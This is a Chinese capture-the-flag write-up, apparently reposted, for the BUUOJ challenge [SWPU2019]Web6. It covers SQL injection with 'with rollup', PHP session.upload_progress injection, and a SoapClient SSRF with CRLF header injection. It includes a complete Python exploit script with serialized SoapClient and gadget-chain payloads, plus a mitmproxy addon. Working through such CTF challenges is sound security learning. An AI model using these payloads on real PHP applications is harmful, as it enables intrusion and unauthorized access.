刷題記錄:[SWPU2019]Web6


題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:第十屆SWPUCTFwriteup

sql注入中的with rollup

猜測源碼為

$sql="select * from users where username='$name' and passwd='$pass'";
$query = mysql_query($sql); 
if (mysql_num_rows($query) == 1) { 
    $key = mysql_fetch_array($query);
    if($key['passwd'] == $_POST['passwd']) {

參考SWPUCTF2019

利用session.upload_progress進行文件包含和反序列化滲透

參考利用session.upload_progress進行文件包含和反序列化滲透
php版本>5.4
在php.ini有以下幾個默認選項

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

其實這里,我們只需要了解前四個配置選項即可,嘿嘿嘿,下面依次講解。

enabled=on表示upload_progress功能開始,也意味着當瀏覽器向服務器上傳一個文件時,php將會把此次文件上傳的詳細信息(如上傳時間、上傳進度等)存儲在session當中 ;
cleanup=on表示當文件上傳結束后,php將會立即清空對應session文件中的內容,這個選項非常重要;
name當它出現在表單中,php將會報告上傳進度,最大的好處是,它的值可控;
prefix+name將表示為session中的鍵名

此時只要像這樣隨便對哪個頁面上傳文件,PHP_SESSION_UPLOAD_PROGRESS的內容就會被寫到對應的session文件中,接着用SoapClient進行SSRF就可以了

我踩了兩個坑花了很多時間:
1、在php里面serialize之后一定要urlencode,不然粘貼復制的話很容易丟失一些不可見字符
2、requests庫post方法的files參數上傳的文件好像一定會加上filename,但是PHP_SESSION_UPLOAD_PROGRESS這一項是不可以加filename的,可能也是這個原因,wp都是弄個表單+burp完成的,我直接用python寫exp還要配合mitmproxy。。

import requests
from urllib import parse

url = "http://3ae1f181-437b-4591-aca7-3003ded4f23a.node3.buuoj.cn/"
cookies = {
    "PHPSESSID": "ppp"
}

proxies = {
    "http": "http://127.0.0.1:8080"
}

payload = parse.unquote("|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A30%3A%22http%3A%2F%2F127.0.0.1%2Finterface.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A60%3A%22wupco%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+user%3DxZmdm9NxaQ%3D%3D%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D")

files = {
    'PHP_SESSION_UPLOAD_PROGRESS': ('aaa', payload),
    'file': ('1.txt', 'a'*1000)
}

requests.post(url + "se.php", cookies=cookies, files=files, proxies=proxies)


payload2 = """O:2:"bb":2:{s:4:"mod1";O:2:"aa":2:{s:4:"mod1";N;s:4:"mod2";a:1:{s:5:"test2";O:2:"cc":3:{s:4:"mod1";O:2:"ee":2:{s:4:"str1";O:2:"dd":3:{s:4:"name";N;s:4:"flag";s:8:"Get_flag";s:1:"b";s:14:"call_user_func";}s:4:"str2";s:7:"getflag";}s:4:"mod2";N;s:4:"mod3";N;}}}s:4:"mod2";N;}"""

data = {
    "aa": payload2
}

response = requests.post(url + "se.php", data=data, cookies=cookies, proxies=proxies)
print(response.text)

from mitmproxy import http
from mitmproxy import ctx

class mod_request:

    def request(self, flow) -> None:
        flow.request.replace(' filename="aaa"', '')
        ctx.log.info(flow.request.get_text())

addons = [
    mod_request()
]


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM